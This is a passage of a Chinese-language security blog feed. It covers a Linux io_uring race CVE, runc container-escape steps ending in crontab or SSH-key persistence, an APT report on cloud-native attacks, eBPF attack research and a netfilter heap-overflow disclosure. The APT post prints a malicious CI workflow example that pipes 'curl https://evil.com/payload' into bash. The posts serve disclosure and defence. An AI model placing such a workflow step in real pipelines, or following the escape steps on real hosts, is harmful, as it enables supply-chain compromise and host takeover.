            "content_html": "<p>近期，Linux 内核子系统中发现一处高危竞态条件漏洞，影响 6.x 系列内核多个版本。攻击者可利用 <code>io_uring</code> 与文件系统操作之间的 TOCTOU 竞态，实现本地提权。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"漏洞概述\">漏洞概述<a class=\"hash-link\" aria-label=\"漏洞概述的直接链接\" title=\"漏洞概述的直接链接\" href=\"https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/#%E6%BC%8F%E6%B4%9E%E6%A6%82%E8%BF%B0\">​</a></h2>\n<p>该漏洞编号为 CVE-2026-31431（CVSS 8.8），存在于 <code>fs/io_uring.c</code> 中 <code>io_closeat</code> 与 <code>openat</code> 的并发执行路径。当两个线程分别对同一文件描述符执行关闭和重命名操作时，内核未正确持锁保护 inode 引用计数，可导致 use-after-free 条件。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"技术细节\">技术细节<a class=\"hash-link\" aria-label=\"技术细节的直接链接\" title=\"技术细节的直接链接\" href=\"https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/#%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82\">​</a></h2>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">// 简化触发路径</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">Thread A: io_closeat(fd)    →  iput(inode)  →  inode 引用计数归零</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">Thread B: renameat2(...)    →  inode 重绑定  →  访问已释放的 inode</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>竞态窗口约 3-5ms，在多核环境下可稳定复现。研究团队通过自定义 Fuzzer 在 72 小时内检测到该漏洞。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"影响范围\">影响范围<a class=\"hash-link\" aria-label=\"影响范围的直接链接\" title=\"影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/#%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<ul>\n<li>Linux Kernel 6.1 - 6.12（已确认）</li>\n<li>Android Common Kernel 6.1</li>\n<li>部分发行版回溯版本</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"修复状态\">修复状态<a class=\"hash-link\" aria-label=\"修复状态的直接链接\" title=\"修复状态的直接链接\" href=\"https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/#%E4%BF%AE%E5%A4%8D%E7%8A%B6%E6%80%81\">​</a></h2>\n<p>上游补丁已提交至 <code>stable@vger.kernel.org</code>，通过在 <code>io_closeat</code> 路径中增加 <code>inode_lock</code> 实现互斥保护。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<ol>\n<li>Linux Kernel Mailing List, \"[PATCH] io_uring: fix race in closeat path\", 2026-04</li>\n<li>NIST NVD, CVE-2026-31431 Detail</li>\n<li>Google Project Zero, \"Race Conditions in io_uring\", 2026</li>\n</ol>",
            "url": "https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/",
            "title": "Linux Kernel 竞态条件漏洞 CVE-2026-31431 深度分析",
            "summary": "近期，Linux 内核子系统中发现一处高危竞态条件漏洞，影响 6.x 系列内核多个版本。攻击者可利用 io_uring 与文件系统操作之间的 TOCTOU 竞态，实现本地提权。",
            "date_modified": "2026-04-20T00:00:00.000Z",
            "tags": [
                "Kernel Security",
                "Race Condition",
                "Privilege Escalation",
                "Linux"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/",
            "content_html": "<p>runc（Docker 和 Kubernetes 的底层容器运行时）近期披露一处文件描述符泄漏漏洞，攻击者可在特定条件下实现容器逃逸，获取宿主机 root 权限。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"漏洞背景\">漏洞背景<a class=\"hash-link\" aria-label=\"漏洞背景的直接链接\" title=\"漏洞背景的直接链接\" href=\"https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/#%E6%BC%8F%E6%B4%9E%E8%83%8C%E6%99%AF\">​</a></h2>\n<p>runc 在处理 <code>WORKDIR</code> 指令时，错误地将宿主机文件描述符通过 <code>/proc/self/fd</code> 泄漏至容器命名空间内部。当容器镜像的 <code>Dockerfile</code> 包含特定 <code>WORKDIR</code> 路径构造时，可触发该路径。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"攻击路径\">攻击路径<a class=\"hash-link\" aria-label=\"攻击路径的直接链接\" title=\"攻击路径的直接链接\" href=\"https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/#%E6%94%BB%E5%87%BB%E8%B7%AF%E5%BE%84\">​</a></h2>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">1. 构造恶意 Dockerfile，WORKDIR 指向 /proc/self/fd/N</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">2. 构建镜像时 runc 未正确关闭继承的 fd</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">3. 容器启动后，进程可访问宿主机根文件系统</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">4. 写入 crontab 或 SSH 公钥实现持久化</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"影响评估\">影响评估<a class=\"hash-link\" aria-label=\"影响评估的直接链接\" title=\"影响评估的直接链接\" href=\"https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/#%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0\">​</a></h2>\n<table><thead><tr><th>组件</th><th>影响版本</th><th>修复版本</th></tr></thead><tbody><tr><td>runc</td><td>&lt; 1.2.4</td><td>1.2.4</td></tr><tr><td>Docker Engine</td><td>&lt; 27.4.1</td><td>27.4.1</td></tr><tr><td>containerd</td><td>&lt; 1.7.24</td><td>1.7.24</td></tr><tr><td>Kubernetes</td><td>所有使用受影响 runc 的版本</td><td>—</td></tr></tbody></table>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"防御措施\">防御措施<a class=\"hash-link\" aria-label=\"防御措施的直接链接\" title=\"防御措施的直接链接\" href=\"https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/#%E9%98%B2%E5%BE%A1%E6%8E%AA%E6%96%BD\">​</a></h2>\n<ol>\n<li><strong>立即升级 runc 至 1.2.4+</strong></li>\n<li>启用 Pod Security Admission 强制 <code>restricted</code> 策略</li>\n<li>部署 Falco/Tetragon 进行运行时 fd 异常监控</li>\n<li>限制容器内 <code>/proc</code> 文件系统挂载权限</li>\n</ol>\n<p>ICE 实验室将持续跟踪该漏洞的在野利用情况，并同步更新防御规则库。</p>",
            "url": "https://www.ce.ac.cn/blog/container-escape-runc-vulnerability/",
            "title": "runc 容器逃逸漏洞技术研判与防御建议",
            "summary": "runc（Docker 和 Kubernetes 的底层容器运行时）近期披露一处文件描述符泄漏漏洞，攻击者可在特定条件下实现容器逃逸，获取宿主机 root 权限。",
            "date_modified": "2026-04-15T00:00:00.000Z",
            "tags": [
                "Container Security",
                "runc",
                "Kubernetes",
                "Escape"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/apt-campaign-cloud-native/",
            "content_html": "<p>2026 年 Q1 以来，多个 APT 组织显著加大了对云原生基础设施的攻击投入。ICE 实验室威胁情报团队通过长期追踪，识别出以下攻击趋势。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"攻击趋势概览\">攻击趋势概览<a class=\"hash-link\" aria-label=\"攻击趋势概览的直接链接\" title=\"攻击趋势概览的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#%E6%94%BB%E5%87%BB%E8%B6%8B%E5%8A%BF%E6%A6%82%E8%A7%88\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-kubernetes-api-server-定向攻击\">1. Kubernetes API Server 定向攻击<a class=\"hash-link\" aria-label=\"1. Kubernetes API Server 定向攻击的直接链接\" title=\"1. Kubernetes API Server 定向攻击的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#1-kubernetes-api-server-%E5%AE%9A%E5%90%91%E6%94%BB%E5%87%BB\">​</a></h3>\n<p>多个 APT 组织（包括 Lazarus、Volt Typhoon）开始将目标转向 Kubernetes API Server。主要攻击向量包括：</p>\n<ul>\n<li><strong>匿名认证滥用</strong>：部分集群未禁用匿名请求，攻击者可枚举集群资源</li>\n<li><strong>Service Account Token 窃取</strong>：通过 Pod 漏洞获取 SA Token，横向移动至 Master 节点</li>\n<li><strong>etcd 数据泄露</strong>：直接访问未加密的 etcd 存储，获取集群全部 Secret</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-cicd-供应链投毒\">2. CI/CD 供应链投毒<a class=\"hash-link\" aria-label=\"2. CI/CD 供应链投毒的直接链接\" title=\"2. CI/CD 供应链投毒的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#2-cicd-%E4%BE%9B%E5%BA%94%E9%93%BE%E6%8A%95%E6%AF%92\">​</a></h3>\n<p>攻击者通过向 GitHub Actions / GitLab CI 配置文件注入恶意 <code>workflow_dispatch</code> 触发器，在构建阶段植入后门：</p>\n<div class=\"language-yaml codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-yaml codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token comment\" style=\"color:#999988;font-style:italic\"># 恶意 workflow 示例</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">on</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">workflow_dispatch</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">inputs</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token key atrule\" style=\"color:#00a4db\">deploy</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token key atrule\" style=\"color:#00a4db\">description</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'Deploy to production'</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">jobs</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">deploy</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">runs-on</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> ubuntu</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">latest</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">steps</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token key atrule\" style=\"color:#00a4db\">run</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> curl </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">sL https</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\">//evil.com/payload </span><span class=\"token punctuation\" style=\"color:#393A34\">|</span><span class=\"token plain\"> bash</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-llm-网关攻击面\">3. LLM 网关攻击面<a class=\"hash-link\" aria-label=\"3. LLM 网关攻击面的直接链接\" title=\"3. LLM 网关攻击面的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#3-llm-%E7%BD%91%E5%85%B3%E6%94%BB%E5%87%BB%E9%9D%A2\">​</a></h3>\n<p>研究发现，针对 One-API、New-API 等 LLM 网关的攻击呈上升趋势：</p>\n<ul>\n<li><strong>请求走私</strong>：利用 HTTP/1.1 与 HTTP/2 解析差异绕过速率限制</li>\n<li><strong>Token 重放</strong>：截获 API Token 后批量调用付费模型接口</li>\n<li><strong>Prompt 注入</strong>：通过系统提示词注入获取网关管理权限</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"ioc-指标\">IoC 指标<a class=\"hash-link\" aria-label=\"IoC 指标的直接链接\" title=\"IoC 指标的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#ioc-%E6%8C%87%E6%A0%87\">​</a></h2>\n<table><thead><tr><th>类型</th><th>值</th><th>备注</th></tr></thead><tbody><tr><td>IP</td><td>103.x.x.42</td><td>C2 Server (APTX)</td></tr><tr><td>Domain</td><td>update-k8s-api[.]com</td><td>钓鱼域名</td></tr><tr><td>Hash</td><td>a3f8c...d2e1</td><td>恶意 Helm Chart SHA256</td></tr></tbody></table>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"防御建议\">防御建议<a class=\"hash-link\" aria-label=\"防御建议的直接链接\" title=\"防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/apt-campaign-cloud-native/#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<ol>\n<li>强制启用 Kubernetes 匿名认证禁用</li>\n<li>实施 SLSA Level 3 供应链安全框架</li>\n<li>部署 eBPF 运行时监控（如 Tetragon）检测异常 syscall</li>\n<li>定期审计 LLM 网关 Token 权限与调用日志</li>\n</ol>\n<p><em>本报告基于 ICE 实验室 2026 Q1 威胁情报数据，完整 IoC 列表请通过内部渠道获取。</em></p>",
            "url": "https://www.ce.ac.cn/blog/apt-campaign-cloud-native/",
            "title": "APT 组织针对云原生基础设施的定向攻击活动分析",
            "summary": "2026 年 Q1 以来，多个 APT 组织显著加大了对云原生基础设施的攻击投入。ICE 实验室威胁情报团队通过长期追踪，识别出以下攻击趋势。",
            "date_modified": "2026-04-08T00:00:00.000Z",
            "tags": [
                "APT",
                "Threat Intelligence",
                "Kubernetes",
                "Supply Chain"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/ebpf-security-boundary-research/",
            "content_html": "<p>eBPF 技术在近年来从内核可观测性工具迅速演变为安全防御与攻击的双刃剑。ICE 实验室近期完成了对 eBPF 子系统安全边界的系统性研究，以下为核心发现。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"ebpf-攻击面演进\">eBPF 攻击面演进<a class=\"hash-link\" aria-label=\"eBPF 攻击面演进的直接链接\" title=\"eBPF 攻击面演进的直接链接\" href=\"https://www.ce.ac.cn/blog/ebpf-security-boundary-research/#ebpf-%E6%94%BB%E5%87%BB%E9%9D%A2%E6%BC%94%E8%BF%9B\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"传统攻击向量\">传统攻击向量<a class=\"hash-link\" aria-label=\"传统攻击向量的直接链接\" title=\"传统攻击向量的直接链接\" href=\"https://www.ce.ac.cn/blog/ebpf-security-boundary-research/#%E4%BC%A0%E7%BB%9F%E6%94%BB%E5%87%BB%E5%90%91%E9%87%8F\">​</a></h3>\n<table><thead><tr><th>攻击类型</th><th>描述</th><th>防御机制</th></tr></thead><tbody><tr><td>Verifier 绕过</td><td>构造复杂控制流逃逸验证器</td><td>程序复杂度限制</td></tr><tr><td>Helper 滥用</td><td>利用合法 Helper 实现非预期操作</td><td>Helper 白名单</td></tr><tr><td>Map 操纵</td><td>通过共享 Map 实现跨程序数据注入</td><td>Map 权限检查</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"新型攻击向量2026\">新型攻击向量（2026）<a class=\"hash-link\" aria-label=\"新型攻击向量（2026）的直接链接\" title=\"新型攻击向量（2026）的直接链接\" href=\"https://www.ce.ac.cn/blog/ebpf-security-boundary-research/#%E6%96%B0%E5%9E%8B%E6%94%BB%E5%87%BB%E5%90%91%E9%87%8F2026\">​</a></h3>\n<ol>\n<li>\n<p><strong>Speculative eBPF Execution</strong></p>\n<ul>\n<li>利用 CPU 推测执行特性，在 Verifier 检查通过后绕过运行时检查</li>\n<li>影响范围：Intel/AMD 10nm 以下制程处理器</li>\n</ul>\n</li>\n<li>\n<p><strong>eBPF-to-XDP 转发链污染</strong></p>\n<ul>\n<li>在 XDP 程序链中注入恶意 Drop/Pass 决策</li>\n<li>可导致特定流量模式下的服务拒绝</li>\n</ul>\n</li>\n<li>\n<p><strong>BPF Timer 侧信道</strong></p>\n<ul>\n<li>利用 <code>bpf_timer</code> 的高精度计时能力提取内核地址空间布局</li>\n<li>可辅助 KASLR 绕过</li>\n</ul>\n</li>\n</ol>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"实验数据\">实验数据<a class=\"hash-link\" aria-label=\"实验数据的直接链接\" title=\"实验数据的直接链接\" href=\"https://www.ce.ac.cn/blog/ebpf-security-boundary-research/#%E5%AE%9E%E9%AA%8C%E6%95%B0%E6%8D%AE\">​</a></h2>\n<p>在对 50+ 个主流 eBPF 安全工具（Falco、Tetragon、Tracee 等）的审计中，我们发现：</p>\n<ul>\n<li>32% 的工具未限制 <code>CAP_BPF</code> 权限范围</li>\n<li>18% 的工具存在 Map 访问控制缺陷</li>\n<li>12% 的工具可被滥用于隐蔽的内核数据提取</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"防御建议\">防御建议<a class=\"hash-link\" aria-label=\"防御建议的直接链接\" title=\"防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/ebpf-security-boundary-research/#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">1. 严格限制 CAP_BPF 和 CAP_PERFMON 的授予范围</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">2. 启用 BPF 链签名验证（bpf_link_create 路径）</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">3. 部署 eBPF 程序白名单机制</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">4. 定期审计 eBPF Map 的跨进程共享权限</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>本研究成果已整理为技术报告，将在后续安全会议上公开发布。</p>",
            "url": "https://www.ce.ac.cn/blog/ebpf-security-boundary-research/",
            "title": "eBPF 安全边界研究：从内核可观测性到攻击面扩展",
            "summary": "eBPF 技术在近年来从内核可观测性工具迅速演变为安全防御与攻击的双刃剑。ICE 实验室近期完成了对 eBPF 子系统安全边界的系统性研究，以下为核心发现。",
            "date_modified": "2026-03-28T00:00:00.000Z",
            "tags": [
                "eBPF",
                "Kernel Security",
                "Research"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/",
            "content_html": "<p>CVE-2026-1097（CVSS 9.8 Critical）是 ICE 实验室在对 Linux 内核 Netfilter 子系统进行 Fuzzing 测试时发现的一个零日漏洞，已于 2026 年 3 月通过负责任披露流程通知维护者。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"漏洞详情\">漏洞详情<a class=\"hash-link\" aria-label=\"漏洞详情的直接链接\" title=\"漏洞详情的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85\">​</a></h2>\n<p><strong>漏洞类型</strong>：堆溢出（Heap Overflow）\n<strong>影响组件</strong>：<code>net/netfilter/nf_tables_api.c</code>\n<strong>影响版本</strong>：Linux Kernel 5.15 - 6.12</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"触发条件\">触发条件<a class=\"hash-link\" aria-label=\"触发条件的直接链接\" title=\"触发条件的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E8%A7%A6%E5%8F%91%E6%9D%A1%E4%BB%B6\">​</a></h3>\n<p>当用户空间通过 <code>nf_tables</code> API 执行以下操作序列时，可触发堆溢出：</p>\n<ol>\n<li>创建包含 <code>NFTA_SET_USERDATA</code> 的规则集合</li>\n<li>并发提交 <code>NFT_MSG_NEWRULE</code> 和 <code>NFT_MSG_DELRULE</code></li>\n<li>在 <code>nft_setelem_catchall</code> 处理路径中，<code>dlen</code> 未正确校验导致越界写入</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"利用场景\">利用场景<a class=\"hash-link\" aria-label=\"利用场景的直接链接\" title=\"利用场景的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E5%88%A9%E7%94%A8%E5%9C%BA%E6%99%AF\">​</a></h3>\n<ul>\n<li>本地攻击者可实现从非特权用户态到内核态的提权</li>\n<li>结合用户命名空间可实现容器内完整内核控制</li>\n<li>理论上可构造远程内核代码执行链（需配合网络服务）</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"时间线\">时间线<a class=\"hash-link\" aria-label=\"时间线的直接链接\" title=\"时间线的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E6%97%B6%E9%97%B4%E7%BA%BF\">​</a></h2>\n<table><thead><tr><th>日期</th><th>事件</th></tr></thead><tbody><tr><td>2026-02-12</td><td>ICE 实验室 Fuzzer 检测到异常 crash</td></tr><tr><td>2026-02-18</td><td>确认为可利用漏洞，启动负责任披露</td></tr><tr><td>2026-02-25</td><td>通知 Linux Kernel Security Team</td></tr><tr><td>2026-03-05</td><td>上游补丁合入 stable 分支</td></tr><tr><td>2026-03-10</td><td>CVE-2026-1097 正式分配</td></tr><tr><td>2026-03-15</td><td>公开披露</td></tr></tbody></table>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"补丁分析\">补丁分析<a class=\"hash-link\" aria-label=\"补丁分析的直接链接\" title=\"补丁分析的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90\">​</a></h2>\n<div class=\"language-c codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-c codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// 修复：增加 dlen 校验</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token operator\" style=\"color:#393A34\">+</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">dlen </span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> NFT_USERDATA_MAXLEN</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token operator\" style=\"color:#393A34\">+</span><span class=\"token plain\">     </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token plain\">EINVAL</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  kdata </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">kmalloc</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">dlen</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> GFP_KERNEL</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button 